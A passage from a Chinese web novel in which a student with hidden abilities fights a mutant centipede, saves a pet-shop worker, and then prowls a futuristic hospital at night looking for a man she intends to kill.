下一秒,一个身影飞速掠过,砍断了那对步足。
那怪物似乎愣了一下,看向对面拖着自己猎物的身影。
江赛推了把要死不活的工服男,“快走!去报警……呃,不对,报什么都行,快点去。”
别影响她打怪,而且……她也需要救兵!
那对带着倒刺的步足在地上抽动,江赛看了眼手里的小匕首。
既然匕首能砍动,那就不用动用她的天价宝贝了。
她沉下心,冲向蜈蚣怪物。
随便让她受点什么伤就好,只要别让她挨上那不堪入目的奇行种。
蜈蚣站在原地,既没往前冲,也没向后躲。
直到匕首快要扎进腹部,它的机械腿微微弯曲,向两边稳稳一站,整个上半身开始甩动。
匕首划开肚子,流出墨绿色的液体,怪物丝毫不在意。它扭动着上半身,在江赛惊异的目光中,将她拍飞,砸穿墙壁,摔进隔壁的巷子里。
“咳咳咳……呕!”
巨大的灰尘扬起,江赛呸掉嘴里的血,抖着手臂撑起身。
麻了,真麻了。
实心的老砖墙,都被她砸穿了,她现在全身都是麻的,一点知觉都没有,右肩那块被步足贯穿的血窟窿正伴着剧痛哗哗流血,还混着墨绿色的脓液和恶臭。
“呕——”
足够了。
她现在只要支撑着逃远点,然后躺在地上,拨通急救电话,等着救护车来接她。
趁着灰尘飞扬,怪物似乎没追上来,江赛扒着墙站起身,正要往外挪,隔壁传来一声撕心裂肺的“救命”。
是那个工服男。
不知道什么时候溜回来的,正弯着腰哆嗦地去捡地上的鼠笼子。
他拿起笼子,刚刚抬起头,蜈蚣怪物不知什么时候凑到他面前,一对乌黑的毒钩对准他。
“救命啊——!!!”
江赛:……
她恨该死的救世主主义。
在毒钩夹住工服男脑袋的时候,那道讨厌的身影第二次窜出来了。
她飞快翻上墙头,一跃跳到蜈蚣后背,忍着恶心将匕首扎进怪物背甲,往上爬。
甲缝里漏出的短毛在蠕动,擦过她的脸颊,让人毛骨悚然。
对钩夹着脑袋,工服男已经开始眼冒金星,模糊中看见上方冒出来的江赛,立刻哀求的看着她,眼泪鼻涕糊了一眼。
按理来说,怪物应该会夹爆他的脑袋才对。
可它却只是控制着力度,将工服男提起,却不动手。
江赛犯难了。
她要怎么救?万一这怪物突然把他脑袋夹爆了怎么办?
当面爆头,那惊悚的场面。不仅工服男要和这个世界说再见,她也会控制不住的液化,然后一起说再见。
19. 芳芳美发店(四)
爆头。
也是她能想到的唯一办法。
下定决心,江赛举起匕首,对准对钩正中间用力一扎。
怪物抽动了两下,突然张开对钩,停住不动了。
工服男一屁股摔在地上,还没反应过来,刚才异种头顶的女生已经跳下来了,扯着他就往外跑。
“等下!笼子!!”
刚才的铁笼被异种拎着,现在掉下地面。
他弯腰去捡笼子,前面的人转过头,睁大眼睛瞪着他,眼里满是怒火和不可置信。
他张张嘴,刚准备解释,怪物又动了。
不过这次不是冲着他们来的,而是弯腰用步足去捞笼子。
卧槽!!
工服男吓得一个激灵,赶紧扑过去抢。
刚刚抢到手,他抱着笼子推搡着前面的人往外跑,身后的怪物发出一声恐怖的嘶鸣。
江赛拽着工服男往外拼命的跑,她腿有些发软,速度下降得很明显。
这蜈蚣怪物明显是冲着铁笼来的。
想到这里,她垂头看了眼被工服男紧紧抱着的铁笼子。
这狗日的破笼子!
“不!!”
伴随着一声凄厉地哀嚎,江赛伸手粗暴的夺走铁笼,扬起手就要往外丢。
“这铁笼五十万!!!”
江赛挥手的动作一顿:?
怪物怒了。
它停下脚步,庞大的身躯开始向内蜷曲,油亮的甲壳互相摩擦,转眼间,高大的蜈蚣居然团成了一个黑亮的巨球。
然后,它像一颗被踢出的足球,沿着巷子以恐怖的重量和速度,轰隆隆地滚动着朝两人碾压过来,带起一片尘土。
江赛听到动静回头一看,差点吐出来。
那油光锃亮的黑球,正直直朝他们后背压来。
不讲武德!
她提起速度拼命地跑。
工服男体力不支,落在后面,看见即将碾压来的黑球,下意识贴着墙一躲,巨球飞速从他身边擦过,直奔前面的身影而去。
江赛跑出巷口,向旁边一跃。
“轰!”
巨球擦着她的身边滚过,压平了她刚才站立的地方。
紧接着,巨球在惯性作用下凌空弹起,在半空中舒展开来,变回蜈蚣模样,朝着刚落地的江赛直直压下来。
江赛都只来得及向旁翻滚半圈,刚刚丢开铁笼,自己就被那庞大的阴影彻底笼罩。
浓密的短毛瞬间从四面八方包裹上来,带着湿滑的触感紧贴着皮肤。
边上缝隙里透出的光,让她能看到头顶上方近在咫尺的腹甲。
浓烈的腥臭完全充斥了她的鼻腔。
和牧场肉山的味道完全不一样,但都一样让人作呕。
江赛弓着背往外挪,忍不住干呕。
这些恶心玩意儿,连臭都臭得各有千秋。
没等她感慨完,那些短毛开始往她鼻孔、耳朵里钻,甚至试图撬开她的嘴唇往嘴里塞。
恶心的触感让她浑身汗毛倒竖,立刻动手去拔。
就在这时,几缕透明的白色丝线从怪物甲壳缝隙中射出,精准地缠住了她的手腕和脚踝,猛地收紧。
江赛被捆住双手,只能手脚并用地在滑腻的短毛里拼命向外刨。
她翻了个身,背后的短毛又涌上来。
她被白丝捆着,像一只虫子一样,挣扎着朝边缘蛄蛹。
眼看就要爬出去,身上的蜈蚣身躯开始向内蜷曲,甲壳边缘缓缓合拢,像是要把她彻底裹进体内。
这恶心玩意儿要吃了她?
江赛拼尽全力,朝着身边的缝隙里挤。
她可不想和这恶心玩意儿融为一体。
就在这念头越来越浓烈的时候,身体忽然传来一种奇异的拉长感,仿佛整个人变成了一团软泥。
熟悉的感觉让她心头一紧,下一秒,整个人像果冻一样从缝隙中滑了出去。
怪物合拢的身躯压了个空,明显顿了一下。
江赛逃出生天,还不忘捡上掉在一边的铁笼。
她抓着那该死的五十万逃跑,跑着跑着眼前有些发黑,街道上空无一人,大概是听到消息都撤退了。
她刚跑出没多远,身后一个猛力把她撞飞,整个人连带着铁笼摔出几十米。
人一倒下,身上立刻覆盖上一副冰冷的躯体,紧接着,一对毒钩将她握着铁笼的右手钉在地面。
“嘶!!”
江赛疼得一个激灵,大脑短暂的清醒了一瞬,她睁大眼睛看着身上的巨型蜈蚣,眼前又开始发黑。
越来越黑。
意识陷入虚无的最后一刻,她只来得及感慨自己多灾多难的右手,然后彻底昏死过去。
……
再次醒来的时候,江赛躺着一张很窄的床上。
床身一晃一晃的,带着她左右右摆。
右半边身体一点知觉都没有,左边麻麻的,头顶还有灯,亮得她眼睛都睁不开。
她有些想吐。
要命的是,耳边一直有道声音,叽叽喳喳的像蚊子一样吵个不停。
“天呐!她不会死了吧?这可是我的救命恩人!”
“这是个什么东西?装上一点也不疼了……”
“不会收钱吧?我们可是和异种搏斗的时候被打伤的……”
“不知道旷工费管理局会不会报销……”
“我那笼子收好了吗?那可是五十万……”
真的好吵。
江赛烦躁的皱眉。
“啧。”
“……”叽叽喳喳的声音变得谨慎,“她刚刚是不是动了一下?”
江赛眯着眼睛偏过头,看见工服男缩在角落里,背后背着一个蓝色的器械,像个乌龟壳子。
他看见她醒了,嘴巴动了动,说了些什么,江赛没听清,她一睁眼耳朵就嗡嗡的,像塞了几团棉花。
工服男见她没反应,起身就凑过来,还没靠近被边上的白衣护士一把推回去。
“别打扰病人休息。”
这话她听清楚了。
他们应该是在救护车上,工服男坐在角落里嘀咕,白衣护士按住她的肩膀,另一只手在她右臂上扎了什么,冰凉的液体顺着手臂往上走。
“还有多久到啊?”
“快了。”
江赛觉得自己更晕了。
她强撑着睁开眼,“……这是去哪儿?”
“人民医院。”
什么?!
江赛立刻就清醒了。
她要去中心医院,去什么人民医院,人民医院里没有她要杀的人民啊。
她也不知道哪里来的力气,梗着脖子要坐起身,“我……要去……中心医院。”
她用尽力气说完这句话,然后在车上几人目瞪口呆的视线中,直直向后倒去。
……
陈德明今天很倒霉。
昨晚定了几十个闹钟,今早一个都没响,害的他睡过头,差点迟到。
他急急忙忙收拾好出门,结果在上班的路上,又让一个溜机器人的瞎子老头骑车给撞了。
那老头扯着他不让走,非说是他不长眼撞了他的车,还吓坏了他的机器人。
这下是真的迟到了。
也不知道是哪家医院的精神病跑出来了,一个瞎子开哪门子车?还有他那个机器人,智都没开,溜个什么劲?
陈德明压着怒火跑去店里,还没进门,就被老板劈头盖脸一顿狠骂。
他低着头唯唯诺诺的受着,等老板气消了,又马不停蹄的开了隔间出门遛宠物。
什么狗啊,猫啊,兔子啊,乌龟啊都要出门溜一溜。
陈德明来这家店工作有一个多月,对于每天上午超标的运动量早就接受了。
他一度觉得自己再练下去,这体能都快赶上训练生了。
但,有一个很严重的问题。
他今天没吃早餐啊。
肚子里是空的,一点能被消耗的东西都没有,刚刚溜完几个狗少爷,他就开始两眼冒星。
等好不容易遛完所有宠物,老板又丢了个铁笼子过来。
他拍开脑袋上的星星,眯眼一瞧。
笼子里是几个灰扑扑的老鼠,又丑又……丑的。
老板还伸手慈爱的摸了摸其中一个。
说是早上刚送来的,都是真少爷,家长有矿要继承,没时间照顾,就先放过来吃阵子苦。
陈
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德明不理解有钱人的癖好。
养异种都比养这玩意儿好,起码异种丑得新奇。
他恨耗子少爷。
本来以为可以休息,他都在隔壁点好猪肘面了。
捧着铁笼子出门的时候,老板还在后面吆喝。
说这破笼子五十多万,可是人爸妈专门请人打造的,比联邦特种队关异种的笼子都结实。
作妖。
有钱人就是喜欢剃头挑子一头热。
弄个这么大笼子就为了关老鼠?难不成他家少爷会变异呢?
“会变异的!异种啊!异种!!”
傻缺!
陈德明抱着笼子,蹲在角落翻白眼。
他是真没想到,在这儿都能遇见班上几个棒槌。
他们拦着他,非说他笼子里面的老鼠是异种装的。
要真是异种就好了,能把这几个傻缺吃掉最好了。
他不跟他们争执,按以往的经验,他越反抗他们越来劲。
谁知道半个小时过去了,他们不但不走,反倒还动手抢他的笼子。
老鼠掉下来的那一刻,他连自己埋哪儿都想好了。
陈德明怒了,正准备揭竿起义,那边就跳下来个黑漆漆的怪物。
早就知道雾都异种泛滥,可没想到,他来雾都还没半年,就能遇上异种。
惊恐之余居然还有一丝庆幸,跑丢的少爷……大概、可能可以找管理局报销了。
唉,他真是穷疯了。
陈德明跟着往外跑,可因为他蹲在地上的时间太长,腿麻了,一下就摔倒在地。
怪物的爪子刺进后背,他以为自己要跟这个世界说再见了。
哪知道突然窜出个人影,一下子把他从异种身下拖出来,带着他往外跑。
救命恩人呐。
这可是他的救命恩人!
她不仅把他从异种手下捞出两次,还为了保住他的五十万,被异种给吞了。
这简直是再生父母!
万幸恩人最后还活着,否则他浓浓的感恩之情,只能通过在隔壁花圈店疯狂消费来展示了。
救护车来了之后,陈德明驼着背,撑着腰跟在担架边上。
担架上的恩人,伤口已经做了紧急处理。
听边上的护士说,那异种的液体有腐蚀性。
他低头看了看。
恩人身上有些墨绿色,却没有腐蚀的痕迹,反倒全身沾满了灰尘。
看身形,年纪不大。
他跟着上了救护车,又沾了恩人的光,被一起送到中心医院。
医院的门是自动开的,他跟着担架往里走,刚刚坐上三楼就被护士带走。
“诶,等一下,我要跟着她。”他指了指手术室。
“先跟我去做检查,检查结果出来之后你再过来。”
陈德明跟着护士又出了三楼,等电梯的间隙,他回头望了一眼。
三楼的大门口上贴着一张纸,上面写着“异种创伤科”。
他看了一眼,又抬起手摸了摸自己的后背。
背上的机器在下车时就被卸下,原本剧痛的后背,奇迹一样的恢复了。
他以为自己受了重创,命不久矣,却听见护士说他伤的不重,只需要去做个体检,排除下异变的可能。
他做了全身体检,又连着抽了几大管血,整个人都是晕乎乎的。
好不容易被放出来了,刚刚回到三楼,正准备往手术室门口跑,又被护士关进了隔离间。
“检查结果没出来前,不能离开隔离间。”护士站在门外系牌子。
看了一眼扒在门口的□□,护士好心提醒。
“那小姑娘伤的不轻,等她做完手术出来也要体检隔离,你现在出来也看不到。”
陈德明躺回床上,焦躁得抓耳挠腮。
他不是担心自己的救命恩人,当然也是担心的。
只是现在有一个更重要的事情。
如果检查结果出来,他有异变的可能,会立刻被清缴部抓去枪毙。
被异种攻击,或基因药剂注射失败,极有可能变成一个新的物种。
异种人。
一个被异种所抛弃,为人类所不耻的存在。
20. 芳芳美发店(五)
“咕噜……”
耳边乒乒乓乓的响个不停,等好不容易安静了会,鼻间又传来清甜的香气。
“咕噜咕噜……”
床上的人睁开眼,动了动僵硬的右手。
江赛转过头,望向气味的来源,正对上一双清澈见底的双眼。
那是一张陌生的脸,穿着病号服坐在她床头,左手握了一把小刀,正在翘手上的铁球。
“这你妹的破水果怎么这么……”看到江赛醒了,他转过头,关切的的问,“你,你醒了?”
江赛皱眉盯着他看了会,那一头眼熟的金发立刻让她想起来了。
这不是小巷里那个抱着老鼠、救护车上叽叽喳喳的五十万吗?
“你,你还……”
“五十万?”
陈德明点头。
暗号对上了,他还没来得及说话,床上的女孩突然坐起身,一把抓住他的手臂。
“这是哪儿?”
“嘶!痛痛痛痛——”陈德明疼得直嚷嚷,“中心医院!中心医院啊!”
江赛松了口气,放开他的手臂,躺回床上。
陈德明捂着手臂哀怨。
这家伙力气怎么这么大,哪是受了重伤的样子?
她再用点力,自己就要受重伤了。
训练生果然都是粗暴、蛮横、不讲理。
江赛不知道他的想法,只看见对面那人皱着眉头幽怨的看着她,过了会,还没等她开口,眼神又变得清澈。
“吃水果吗?”他把手上的圆铁球递过去,又犹豫的收回来,“……哦,我我还没打开。”
江赛抬手接过,瞧了瞧,问,“这怎么吃?”
陈德明指着那条已经开了大半的小缝,“这里,拿刀撬开就行。”
听见这话,江赛把圆球放在腿上,左手拿过□□手中的匕首,对着圆球用力刺下,在轻轻一掰。
铁球从中裂开,露出里面鲜红的果肉。
形状有些像放大的葡萄,晶莹剔透的。
江赛切了一半递给□□,见他吃下才拿起手中的果肉咬了一口。
“你还记得什么不?”
“什么都记得。”两人吃着果子闲聊。
“江赛?”
“嗯?”江赛应了声。
“谢谢你救了我啊,我叫陈德明。”他吃完果子,将小刀收起,“我什么都没有,实在不知道怎么报答你……”
江赛没说话。
本来也没指望他报答,不过要是能把那五十万铁笼折现送她,她也不会拒绝。
“但是我给你争取了笔福利。”
“什么福利?”
陈德明低头,示意她看手环。
手环上是一笔新鲜的收款记录,整整五十万,在三个小时前已经打入她的账户。
他真把铁笼折现了?
江赛第一反应抬头去看他,对方立刻摆摆手。
“不是我不是我,管理局的津贴。”
“津贴?”
陈德明意识到,恩人作为外来者,一定不了解雾都的管理政策,他立刻坐直腰热情的给她科普。
雾都作为一个技术最先进,异种最频繁的中心基地,进入基地的公民只要受到异种袭击,不仅可以免费去特定医院治疗到康复,还可以到管理局中心申请补贴基金。
基金几万到几十万不等,需要公民去服务中心申请。
陈德明伤的不重,甚至在到医院的时候就已经生龙活虎了。
他等体检结果出来,又看着江赛进了病房,就抱着铁笼坐车回店里。
天大地大,工作最大。
要是老板知道他出门几个小时都没回去,还把金主的儿子弄丢了,肯定会把他喷成筛子。
到时候管理局都救不了他。
他不能失去这份工作,要知道在这样一个繁华乱世里找一个工作稳定、内容轻松、薪资还高的工作有多——么不容易。
好在铁笼抱住了,店里那么多宠物,到时候请老板去克隆中心造几只老鼠出来就行。
理想很丰满,现实很骨感。
老板把他臭骂一顿,哪怕他再三解释自己经历了多么惊心动魄的一幕。
他抱着老板的大腿哭嚎,嚎了半个多小时才免于被辞退。
最后还是被肉疼的扣了半个月工资,外加赔偿金主的宝贝儿子。
一只老鼠一百金币……不,是一百万。
他丢了几只老鼠来着?
一百、两百、三百……
陈德明在服务中心摆着指头数,最后被工作人员黑着脸丢出大门。
他揉着屁股,脸上的灰都来不及擦,又冲进去。
不过这次不是为了老鼠来的,而是为了救命恩人。
在他天花乱坠的描述下,他成功帮恩人争取了五十万金币。
“他们听说了你英勇的光辉事迹,就给你补贴了五十万金币。”
江赛:……
打异种还有钱领?
她怎么早没发现呢?
要是当时到雾都读书,还打什么鬼工啊,直接到大街上闲逛就好了。
江赛不开口,陈德明也不敢再说话了。
他觉得自己这个恩人有些阴森森地,脸上的表情一会儿哭一会笑,像看不见他似的。
病房安静了一会儿。
“咕噜咕噜……”
江赛肚子又响了。
“你饿了吗?”陈德明问。
江赛点点头,她在外逛了一整天没吃东西。
“这么晚了,医院食堂都关门了,我去外面买些饭吧。”陈德明说着,站起身,把桌子上的水果收进柜子里,又看了看她。
“你有什么忌口吗?”
“什么都吃。”江赛顿了会,补充道,“多买一些。”
她饿的不行。
陈德明点点头,拿了外套关门出去。
病房里只剩江赛一人。
她安静地坐了会,忽然抬手,将插在右手里的几根透明管拔出,跳下床。
房间很大,掀开病床周围的帘子,发现四面都是洁白的墙。
和她在人民医院看到的创伤科差不多,只是帘子里布置的像普通病房的模样。
旁边还有张床,她凑过去看了眼,发现床头贴着陈德明的名字牌。
入门处有个小隔间,是生活厕所。四周的墙壁很空旷,她用手环扫描,没有发现隐藏的摄像头和监听器。
现在是她来到雾都的第二天晚上十一点三十五分。
她的任务还没有完成,她甚至连目标的影子都没看到。
雾都到鹿河车程十三个小时,她要在晚上七点前离开雾都。
她还有十九个半小时。
找到周俊,杀死他。
江赛深吸了口气,如果她完不成呢?
……完不成也不能走,既然都来了。
不管怎么样,工作丢了还能再找,旷课的后果远没有被发现偷盗异变药剂的后果大。
她一定要找到周俊。
灭口。
走廊外有些昏暗,能看到不远处几个穿着白大褂的医生围在一起,墙面上挂了一排圆盘,闪着红光。
江赛缩回脑袋,关上门,围着病房绕了几圈,又走到窗户边上。
打开窗户,大风立刻涌进房间,将头顶的短发吹的稀乱。
外面下了大雨,打雷闪电的,江赛探出头。
中心医院的外墙是光滑的玻璃幕墙,不像人民医院那样,有管道和突出的水泥供她落脚攀爬。
她四处观察了会,发现双层楼的外墙上横向挂了几排装饰灯带。
她在三楼,外面没有装饰灯带,只是窗户边上有条轨道,从下到上。
可以踩着轨道爬上去,再抓着灯带绕着大楼打探。
只是这样,单层楼只能靠她在大楼里查看了。
她正思索着,轨道下滑上个机器。
是个清洁机器人,下半身两条链子一样的关节臂扣着轨道。
方头方脑的,手臂细得像筷子,爪子缩成一团,末端套着一块湿漉漉的抹布,正卖力地在玻璃上蹭来蹭去。
它似乎才发现边上有人的存在,转过头,一张显示屏的脸对准江赛。
屏幕上充满怨气的愤怒表情愣了会,慢慢变成微笑。
机器人扬了扬抹布手,和她
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打招呼。
它的动作实在僵硬,只是屏幕边上那排小字倒是有意思的很。
——嘿,我真正和你打招呼,请热情的回应我!
江赛嘴角抽了抽,热情的回了个灿烂的微笑,挥挥手。
她想了想,又轻轻拍了拍机器人的方脑袋,这才缩回脑袋,关上窗户。
外面雨越下越大,现在不是爬墙的好时机,她还是趁着这个时候先把单层楼转一圈。
雾都的天气变化丰富,气温却是恒定的,像现在这样的时候,她湿透了上半身,却一丝凉意都感觉不到。
江赛坐在洗手间烘干,刚收拾好打开门,陈德明就回来了。
他拎了几袋热乎乎的盒饭,往桌子上一摆,招呼她吃饭。
这菜可丰盛了,炒牛肉、蒸蛋、炖鸡肉……甚至还有些叫不上名字的。
江赛眼睛都放光了,拉开椅子坐下,见陈德明站着没动,又拉着他一起。
“我不饿……”
“一起吃吧。”江赛折了筷子塞给他,“我不知道外面下雨了,不好意思。”
“没事,反正也淋不着。”陈德明推搡不过,端起碗夹菜。
他夹一个,对面跟着夹一个。
这小姑娘还挺谨慎。
陈德明没揭穿,把所有菜尝了个遍,放下碗筷,看着江赛。
他吃了晚饭的,本来就不饿,尝了那些菜,现在肚子更撑了。
“对了,你账户是什么?加个好友吧。”
恩人主动要求加好友,陈德明激动得眼泪都要流出来了,马不停蹄的报了账号。
刚刚加上好友,手环上就传来一条收款消息:
【好友Zzz向您转账80,000.00】
【已存入余额,可随时查看明细】
陈德明抬头,只见对方冲她笑了笑。
“饭钱,谢了。”
“……”这饭撑死两万,哪用得着这么多啊。
陈德明抬手想转回去,又在对方似笑非笑的注视下停住。
嗯……他怎么忘了,训练生都是有钱人,恩人大概不缺钱。
说什么也不能驳了救命恩人的面子。
陈德明受宠若惊地收了饭钱,撑着脑袋看着江赛。
“江……嗯,恩人,你怎么回到雾都来?”训练生不是都很忙吗?
“叫我小江就好。”江赛说,“学院放假,来雾都玩,顺便见见世面。”
“哦哦。”陈德明点点头,突然问,“所以,这也是你非要来中心医院的原因?”
江赛动作一顿,又厚着脸皮点点头,“对,免费的,不蹭白不蹭。”
吃过饭,陈德明把江赛推搡回病床,自己站在桌前,看着空荡荡的饭盒,边收拾边感慨。
乖乖,这恩人的饭量还真不是一般大。
这可是他两天的量。
“你有看到我身上的东西吗?”江赛摸着腰间问。
“你说那个圆棒子?哦,在柜子里面呢。”
陈德明丢了垃圾,走到白墙边轻轻一按,墙面立刻弹出,露出里面的柜子。
他握着圆棒站起身,“喏,一开始医生收了,我给你拿回来放柜子里面了。”
江赛走过去,接过圆棒,看了看。
还好还好,完好无损。
她没打开刀刃,只是从旁边的柜子里抽了根绳子,将圆棒挂回腰间。
“这什么东西啊?这么宝贝。”陈德明好奇地问。
“电棒,祖传的。”
陈德明没说话了。
等江赛重新躺回床上的时候,已经凌晨一点了。
陈德明守着她的病床不肯走,明明他的床就在边上,他却非说要看着她休息,才能心安理得地入睡。
这人轴得很,江赛拗不过他,只能先闭上眼睛。
不知过了多久,隔壁传来轻微的声响,她缓缓睁开眼,看着漆黑的天花板。
等房间里的呼吸声完全平稳下来,她掀开被子,轻声下床。
走廊外,已经没有那几个医生的影子。
她侧头看了看墙面上闪着红光的圆盘,拿个外套披在肩上,打着哈欠开门出去。
21. 芳芳美发店(六)
走廊很长,头顶的灯调成了暖黄色。
江赛放慢脚步,捞了把肩上的衣服,四处张望。
病号服的下摆扫过地面,沙沙地响,她一扇一扇走过去。
每扇门上都贴着一样的牌子,上面写着异种创伤科05,06,07……
牌子下挂着电子屏,上面是病人的照片和基本信息资料。
每个房间都只有一个人,有了这种电子屏,她可以直接了当的一路从门口找过去。
可这怎么行?谁能说得准门里的就一定是屏幕上的人。
江赛不敢赌,她非要亲眼看见门里的人才行。
幸好病房的门中间有道透明玻璃,她慢慢走过去,余光能看见里面的样子。
有些房间屏幕上挂着信息,里面是空的。
有些房间的病人坐在地上,被手环铐在墙边。
还有些背过身正对着门笔直的站着,一动不动。
大半夜的,居然没一个人是休息的。
她走了很久,一直走到走廊尽头,拐了个弯,又是一条昏暗的走廊。
一样的灯,一样的门。
她放轻脚步,慢悠悠晃了很久,那一路别说什么医疗室了,连护士站都没看见一个。
直到拐了三个弯,走到第四条走廊时,她在尽头发现一扇大门。
门上没有牌子,只有一个简单的数字。
4F?她在四楼?她明明在三楼啊。
这栋楼的标识有问题?还是她走错了?
她试着推开门,刚刚伸手,大门向两侧自动打开了。
门后是个楼梯间,墙上贴着一张楼层导览。
三楼:异种创伤科。
四楼:异种创伤科。
等等,她真的在三楼?三楼为什么是异种创伤科?她记得那个导诊员不是说过,三楼是住院部吗?
这么大一个医院,住院部只有一层?
江赛盯着那张导览看了一会,不知道在想什么,过了会,她抬头看了看。
楼梯间的监控明显少些。
她贴着墙根往上走,避开头顶的监控,楼梯间很安静,只有她的脚步在回响。
四楼的大门打开,又是一样的走廊,只是头顶的灯更暗些。
门上挂着一样的牌子和身份信息,整个病房门都变成了暗蓝色,门的上半部分都是透明的玻璃。
这样更方便她看清楚病房里的景象了,江赛一个一个看过去,有些病人躺在床上,她就停留一会儿。
走廊尽头,最里面那间病房和倒数第二间隔了条走廊。
江赛漫不经心地走过去,刚刚走到门口,脚步突然停住。
那张挂着重症36的牌子下面,是周俊的信息。
姓名:周俊
性别:男
年龄:26岁
入院日期:联邦379年3月3
……
下面还有一排小字:
联邦中央生物研究院
他真的是研究员?
江赛透过玻璃看去,病床上的人一动不动,身上插满了漆黑的管子,床边立着几个透明柱子,里面闪着各种颜色的光。
这种柱子很奇怪,江赛发现它很像等级测试时,看到的最中间那根柱子。
走廊空无一人,江赛蹲下身,又站起来,抬起手揉了揉眼睛,打着哈欠靠近房门。
异能者要怎么杀?
她在论坛上搜索过,只找到了他们上万条八卦信息和决斗视频。
也是,这个世界的异能者如此珍贵,他们是对抗异种的主力军,有谁会研究杀死自己人的方法。
又或者,就算知道了,谁会在联邦眼皮子底下发布这种信息。
那她该怎么杀死他。
爆头?
可这个世界的医疗技术太发达了,它可以让一个肋骨全断的人在第二天下床走路,可以让一个断掉手臂的人一周后重新接好。
她很怕,到时候她费劲千辛万苦爆了周俊的头,医生又给她换个新的金属脑袋呢?
雾都作为中心基地,医疗技术一直是最领先的。
她想了想,觉得也不是没可能。
更何况,周俊是异能者。
江赛怀疑,周俊的异能是巨力。
他的力气很大,甚至能将牧场那座小山高的猪人打飞到墙上。
这样的能力,比她在班上对上的任何一个巨力异能者都要强上几倍。
可是现在,周俊躺在病床上,浑身缠满了漆黑的管子,平静得像一滩死水。
按照她以往看各类志怪片的经验,头颅是弱点。
只要将脑袋捣碎,她不信他还能活下来。
现在是一个很好的时机。
房外没人,房里也没人,只要她走进去,她有很长的时间斩断他所有生还的可能。
摄像头照见又有什么关系呢,只要她先进去,以后……
肩膀突然被人轻轻拍了一下。
江赛一抖,猛地回过头。
“你在做什么?”是个金发碧眼的护士。
江赛眉头一皱,揉了揉眼睛,不动声色,“我出来上厕所,顺便逛逛。”
“病房里面有厕所。”护士指了指铁门,“这里面是病房,不是厕所。”
“哦。”江赛应了声,却没挪步,目光一动不动的盯着那护士。
……
陈德明做了个美梦。
梦里他带着恩人去宠物店洗头,到店门口的时候,那几只跑丢的鼠少爷在门口站了一排,迎接着他们。
老板喜笑颜开的给他们倒水,不仅把扣的工资个结清了,连遛狗的活都不用他干了。
他带着恩人在宠物店悠闲的晃了一天,半夜回家的时候发现了在外遛老鼠的老板。
老板四脚趴在地上,屁股对着前方,腰间套了个项圈,项圈上缠饶着铁链,握着铁链的主人是一只鼠头人身的家伙。
那家伙全身灰扑扑的,看见他,咧开嘴笑着露出两颗门牙,和他挥手打招呼。
“小陈,这狗怎么不走啊?”
陈德明打了个寒颤,猛地睁开眼从梦中惊醒。
见鬼了,这美梦怎么阴森森地。
他抬手擦了擦头顶的冷汗,从床上蹑手蹑脚爬起来,准备去上个厕所。
刚刚掀开隔帘,他走出几步,又疑惑地退回去,转过头。
旁边的隔帘被掀开了,床上空无一人。
恩人呢?
陈德明打开灯,看了一圈。
房间和厕所都没人,恩人出去了?
他打开门,先探出脑袋左右张望了会。
长长的走廊空无一人,越往远灯光越暗,有些黑糊糊的地方看不清楚,像站了无数个人在里面。
陈德明又打开手环光束,往左一照,再往右一照。
右边的尽头处多了两个黑影。
一个一动不动的站在那,能看清楚身上的白大褂。
另一个歪着腰,一会儿左晃一下,一会儿右晃一下。
大概是巡床的医生,
他没在意,又往左看。
这恩人大晚上去哪儿了?不会是……变异跑了?
陈德明手一抖,刚刚踏出去的脚又收回去。
虽然恩人已经做完检查,可那护士也说了,她毕竟是异能者,有些隐藏的变异序列就算检查出来,也不能确定是变异引起的还是自身的正常排列。
麻烦大了,要是恩人真变异了,会被清缴部杀死的。
或许不是呢,说不定恩人只是有别的什么事情,才要出去呢?
陈德明又探出脑袋,看了眼尽头那两个人影,他准备先去问问那医生。
走廊安静的可怕,他甚至能听见自己的心跳声。
他自认平时也不是什么胆小的人,可这走廊越往里走,他越觉得心慌。
那个穿着白大褂的人影始终一动不动,另一个人影依旧不停的左右摇摆。
他快要走近的时候,才发现那不停动弹的人影穿着病号服,一头眼熟的短发乱糟糟的堆在脑袋上。
这是……江赛?
“恩人?”他轻轻喊了声,江赛没什么反应,倒是边上的仿生人装过头,歪了歪脑袋盯着他。
等陈德明走过来的时候,江赛已经不动了,她侧弯着腰,一手抬起不知道在抓空中的什么东西,另一只手放在腰间。
他抬手拍了拍她的肩膀。
“江赛?”
江赛转过头,冷着脸,眼神里都是杀气,她的样
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子不像白天那样温和。
大概是他的错觉,因为就在几秒后,她又变成了白天那熟悉的样子。
“你在这儿干嘛?”
大晚上的,站在走廊上又蹦又跳的,做操吗?
“哦,我出来上个厕所,顺便逛一下。”
逛一下?
陈德明满脸疑惑。
中心医院是和别的医院不太一样,恩人想要逛一下,长长见识也无可厚非,只是这大晚上,阴森森的,连路都看不清,有什么好逛的?
再说了。
“病房里不是有厕所吗?而且,你,你这也不是厕所啊。”陈德明指着末端的大窗户,咽了咽口水。
她逛着逛着怎么还上窗户边上跳操来了?
她知不知道大晚上有多吓人。
“哦,我现在回去。”她回道。
陈德明点点头,侧过身准备等她一起回病房,却见对方脚步都没挪一下,目光直直的盯着自己,不知道在想些什么。
她脸上还是一样的懒散,甚至还带着一丝困意,眼神却充满攻击性。
陈德明下意识往后退了一步。
这恩人怎么跟白天的时候不太一样。
“你不走吗?”他问,“还是你要再……”跳一会。
都可以的,他绝对立马就走。
陈德明察觉到不对劲,已经想溜了。
“哦……走吧,我太困了,没反应过来。”
江赛终于说话了,挠了挠乱糟糟的头发,越过他往病房走去。
陈德明跟在后面,临走时回头看了眼那身白大褂的仿生人,他的鼻子上闪着绿光,依旧保持着最后的动作一动不动。
看着诡异的很。
陈德明觉得自己还在梦里。
他跟在江赛走到病房,在进门的那一刻,却被突然关上的房门砸到脸。
“嘶……”他捂着剧痛的鼻梁吸气,疼得恨不得把整个鼻子卸下来。
她疯了吗?
这是谋杀!
陈德明愤怒的推开门想要兴师问罪,罪魁祸首却已经躺在床上,闭着眼睛熟睡过去。
“……”
一腔怒火无从发泄,他只觉得憋得慌。
鼻梁疼得睡不着,他去卫生间照了把镜子,确定自己帅气的脸蛋没有一丝意外后,又打开柜子翻出医疗箱,翻翻找找从里面拿出个止痛贴贴在鼻梁上。
见鬼,他还是觉得自己在做梦,要不就是太困,困得都出现幻觉了。
医疗箱还放在地上,里面的东西散了一地,他也没收拾,往床上一躺,闭上眼睛等着正常的白天到来。
清早,天还没亮。
床上熟睡的人突然睁开眼,望着模糊的天花板。
她下床走到床板,打开窗户。
外面的暴雨已经停了,轨道上还有些水滴,空气里都是潮湿的雨后气息。
